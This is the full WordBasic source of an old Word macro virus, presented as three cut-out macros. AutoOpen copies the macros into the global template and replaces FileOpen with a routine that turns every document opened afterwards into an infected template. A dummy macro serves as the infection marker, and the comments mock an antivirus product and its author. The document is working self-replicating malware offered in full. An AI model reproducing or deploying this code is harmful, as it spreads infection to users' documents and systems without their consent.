*** CUT HERE MACRO AutoOpen ***
Sub MAIN
On Error Goto fail
hru = 0
j = CountMacros(0, 0)
For i = 1 To j
 If MacroName$(i, 0, 0) = "WWUpdated" Then hru = 1
Next i

If hru = 1 Then Goto fail

MsgBox "Gnoi"

MacroCopy FileName$() + ":AutoOpen", "Global:AutoOp"
MacroCopy FileName$() + ":WWUpdated", "Global:WWUpdated"
MacroCopy FileName$() + ":DaniloffMuDaK", "Global:FileOpen"
fail:
End Sub
*** END CUT ***



*** CUT HERE MACRO DaniloffMuDaK ***
Sub MAIN
' this macro loaded in normal template as FileOpen
OurCopyright$ = "Co-Copyright (cc) LordAsd and Stainless Steel Rat"
AVPcopyright$ = "AVP for WinWord v1.0"
DowniloffCopyright$ = "DaniloffMuDaK"
sQuestion$ = "Would you like to "

Dim dlg As FileOpen
On Error Goto fail
GetCurValues dlg
Dialog dlg
FileOpen dlg
MsgBox FileName$()

gnoi = 0
iCountMacros = CountMacros(1, 0, 0)
For i = 1 To iCountMacros
 zu$ = MacroName$(i, 1)
 If zu$ = "WWUpdated" Then gnoi = 1
Next i

If gnoi = 1 Then Goto fail
FileSaveAs FileName$(), .Format = 1
MacroCopy "Global:AutoOp", FileName$() + ":AutoOpen"
MacroCopy "Global:WWUpdated", FileName$() + ":WWUpdated"
MacroCopy "Global:FileOpen", FileName$() + ":DaniloffMuDaK"

MsgBox "Suxx"
fail:
End Sub
*** END CUT ***



*** CUT HERE MACRO WWUpdated ***
Sub MAIN
'Presence of AVP for winword
End Sub
*** END CUT ***